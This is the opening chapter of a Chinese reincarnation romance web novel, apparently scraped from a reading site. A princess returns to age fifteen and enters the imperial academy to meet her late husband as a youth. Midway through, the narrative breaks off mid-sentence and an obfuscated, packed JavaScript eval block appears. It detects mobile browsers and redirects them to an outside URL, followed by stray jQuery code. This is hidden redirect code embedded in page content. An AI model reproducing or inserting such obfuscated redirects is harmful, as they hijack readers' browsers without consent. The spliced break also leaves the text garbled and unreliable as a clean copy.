默认冷灰
24号文字
方正启体

1. 第1章

作者:雾里等风本书字数:K更新时间:
    天微亮。


    沉重的朱漆宫门在晨雾中缓缓洞开,一辆形制不起眼的平顶马车从宫内驶出,不疾不徐地汇入上京流动的市井车马间,朝国子监的方向驶去。


    路上人皆不知,这辆马车内坐着的人,正是当今圣上最宠爱的昭阳公主萧宁。


    车轮辘辘,一直闭目养神的萧宁缓缓睁开了眼。她终于确认,自己是真的回到了十五岁那年,还未遇见亡夫江珩之时。


    若非亲身经历,谁会相信这世间竟有如此玄妙之事。


    昨日,是她亡夫的祭日。而她一如往年,上山为他请长明灯。


    谁曾想,去时晴空万里,偏她准备下山时大雨滂沱,下了大半日也始终没有要停的迹象,她不得已只能在寺中禅房留宿一晚。


    三年前那场坠崖,萧宁命大没死,但她的夫君江珩死了。


    亡夫死去这几年,她常彻夜难眠,每每午夜梦回都是他那张冷漠薄凉的脸。


    但这一夜,她意外睡得很安稳。


    只是当她再次睁眼醒来时,映入眼帘的却是宫里熟悉的暖帐。


    朱红窗棂,雕花屏风,数不清的琉璃玉器在日照下流光溢彩,她竟回到了……昭华殿的寝宫。


    直到宫女告诉她,今日是她入学国子监的第一天,她才知自己竟回到了十五岁,久远的记忆涌了上来。


    她年少时无聊,曾闹着要进入国子监求学,父皇拗她不过,是以她女扮男装在国子监待过一阵,只彼时江珩不过一个寒门学子,性子又极冷,两人并无交集。


    后来,江珩年仅二十一便高中状元,父皇赞誉有加,转头就为她与江珩赐了婚。


    品行正,天资绝伦,那张脸也深得她心,江珩称得上万里挑一的男人。


    事实也证明确实如此,致仕短短不到五年,江珩就从翰林院修撰一路升迁,官拜吏部左侍郎,入阁想必是迟早的事。


    可成婚后,他一贯的冷静自持和淡漠疏离,都让萧宁逐渐认清江珩娶她,不过是君命不可违,他的心永远不可能被她捂热。


    或许还恨她。


    不然为何对她的示好避之不及,为何哪怕偶尔亲密都看不到他情动的模样,为何每次事后都让她喝避子汤。


    她十九岁嫁给江珩,夫妻五年却谈不上有什么情分。她是金枝玉叶的公主,在宠爱中长大,她性子软,但她做不到卑微求着别人爱她。


    这根心弦被日复一日的冷淡磨了五年,终是绷断了。


    她厌烦了江珩的冷漠,可和离这两个字还没来得及说出口,她就守了寡。


    那日她与江珩一同出行,不曾想,途中他们的马车竟遭遇了伏击,幸好有护卫随行。


    透过车帘缝隙,那些染血的身影和闪动着寒光的兵刃,隐约可见。每一次兵刃撞击的声响,每一个沉重的倒地声,都如同重锤砸在萧宁的心头。


    巨大的恐惧让她紧紧攥着江珩的衣袖,下意识往他怀里缩。厮杀声并没有持续太久,当外面的声音开始变得稀疏时,萧宁松了口气。


    可就在此时,变故陡然发生,无数利箭破空而来。


    还没等她反应过来,耳边传来一声凄厉的嘶鸣,紧接着是天旋地转,失控的马车竟直直冲向山崖。


    千钧一发之际,江珩箍住她的腰,抱着她跃下马车。


    可堪堪站稳,又一波箭矢袭来,眼见避无可避,江珩未作迟疑,将她紧紧抱在怀中,垂眸沉声安抚:“别怕,抱紧我。”


    接着,他后退两步,向着身后的山崖仰倒下去。这一切,不过发生在几个呼吸之间。容不得萧宁多想,死亡就将要降临。


    脚底虚浮的瞬间,强烈的升坠之感攫住了她的心脉,耳畔是骤然放大的风声,她艰难地睁开眼,视野里却只有模糊的残影。


    意识模糊前,她破天荒地在江珩的脸上读到了紧张。


    不知过了多久,昏沉中有道低沉的声音在她耳畔,一遍又一遍地喊着什么。可她太困了,已经很努力去辨别,才好像隐约听到一声“皎皎”。


    可怎么可能?


    “皎皎”是她的小字,她从未对江珩说过,他不可能知道。而且,他明明只会生分地喊她殿下,甚至连一声“昭阳”他都从未唤过。


    萧宁只当是自己恍惚了,便又昏沉睡去,再次苏醒后她就得到了江珩的死讯。


    后来萧宁才知道,那些刺客是淮亲王残党,是来杀她的。


    她成婚后的第四年,父皇突发心疾驾崩了,她的阿弟萧允登基成了新帝。新帝即位,朝纲不稳,皇叔淮亲王起兵叛乱,最终兵败被清算,没想到居然还有残党。


    这群人全是亡命之徒,杀不了皇帝,就杀皇帝的亲姐姐,死也要拉个皇室陪葬。


    可她活下来了,是江珩救了她。


    他明明那么聪明的一个人,怎么生死关头倒傻了,傻到用他的命换她一线生机。


    热闹的市井传来远近高低的吆喝声,将萧宁从回忆中带了出来。


    她抬手将车帘稍稍挑起,感受这一刻的真实。忽地,她双眸一亮,惊奇地看向某个方向,“在这边停下!”


    随从的侍女春桃闻言,连忙招呼让马车停下:“殿下,怎么了?”


    萧宁往帘外指了指,“去前面那家茶食铺买几份糕点回来。”


    这家茶食铺离国子监不算远,是上辈子萧宁偶然发现的。


    铺子虽小,糕点却很合她的口味,只可惜后来这家铺子不知为何关了门,以至于后来她念了很久。


    等了一会,春桃拎着食盒回来了。萧宁迫不及待地尝了一块,果然是熟悉的味道。


    她灵机一动,本来她还在苦恼,见到江珩该怎么和他套近乎,太贵重的东西他肯定不会收,那送些糕点总行吧?


    马车很快便停在了国子监门前。


    前世,萧宁的身份在国子监是公开的秘密。虽然她女扮男装并化名“萧阳”,但萧皇为她安排的仪仗,就差把“公主殿下”四个大字写在她脸上。


    而江珩不过是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024442|194322||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家境贫寒的民生,越是出类拔萃,在国子监便越受排挤。若不是经常听见别人对他的冷嘲热讽,萧宁未必能记住他的名字,更别说什么交集了。


    所以这次萧宁特意求了萧皇,对外只称是远支宗室,一切规格从轻从简,按国子监的规矩来。


    因此,这次萧宁入学的事并未声张,整个国子监只有祭酒大人知道,国子监来了位公主殿下。


    今日是国子监新生报道的最后一日,萧宁估摸着她应该是最后一个到的。


    查验名录时,接待的典簿稍有诧异,抬头看了萧宁一眼,递给她张文书收条。萧宁谢过,又按例到典籍处领书册,那典籍接过收条,也多看了萧宁两眼,开口道。


    “萧监生入诚心堂。”


    不怪他们侧目,刚入国子监的新监生能直接进诚心堂的,少之又少。


    国子监分六堂,最高的学堂是率性堂,其次便是诚心堂。


    前世,萧皇直接将她安排进了率性堂,可她记得江珩是在她都快要离开国子监时,才从诚心堂升到率性堂的。


    这次,她以直接进最高堂恐惹争议为由,终于让萧皇松口,进了诚心堂。


    国子监的斋舍通常是两人一间,但萧宁毕竟是千金之躯,不管是出于起居方便还是安全着想,萧皇特意让祭酒为她安排了僻静一隅的竹斋,这是萧皇的底线,她也只得应允。


    竹斋是个面积不大的小院落,院内有两间单人斋舍,萧宁住一间,另一间则特意空了出来。


    很快,春桃将斋舍收拾妥当。


    新监生入学,照例要由老监生统一带着熟悉国子监环境。可萧宁来迟了一日,便恰巧错过了。好在方才祭酒派人知会,说安排了人过来为她引路。


    临出门前,萧宁吩咐春桃:“你去私下打听打听,监生江珩的斋舍在何处,同住何人。”


    春桃应是,心下却疑惑,公主殿下久居深宫,怎么突然问起一个监生来。


    竹斋前的古柏下。


    萧宁无聊地踢了踢地上的小石子,等候祭酒说的那人。不多时,察觉到有窸窣的脚步声靠近,她下意识抬眸,一道清冷的身影就这么蓦地撞入她的眼帘。


    微风吹过檐下的铜铃,叮铃一声。


    时间在这一刻似乎停止了流动,周遭的一切也褪成了模糊的背景。


    萧宁的视野里只剩下缓步而来的那个人。


    那人身形颀长,脊背挺拔如松,同样的青色襕衫穿在他身上却让人移不开眼。


    那张脸依旧轮廓分明,薄唇高鼻,眉宇间的阴郁还未那般浓重,少了些叱咤官场的锐利,多了几分年少的清冷。


    他越走越近。


    萧宁的心也越跳越快,她忍不住屏住呼吸,呆呆愣在原地。


    这是……年少的江珩。


    古柏下两道身影,相对而立。


    虽然有了心理准备,但亡夫活生生站在她面前时,各种复杂的情绪还是涌上萧宁的头,她突然就不知该如何开口了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)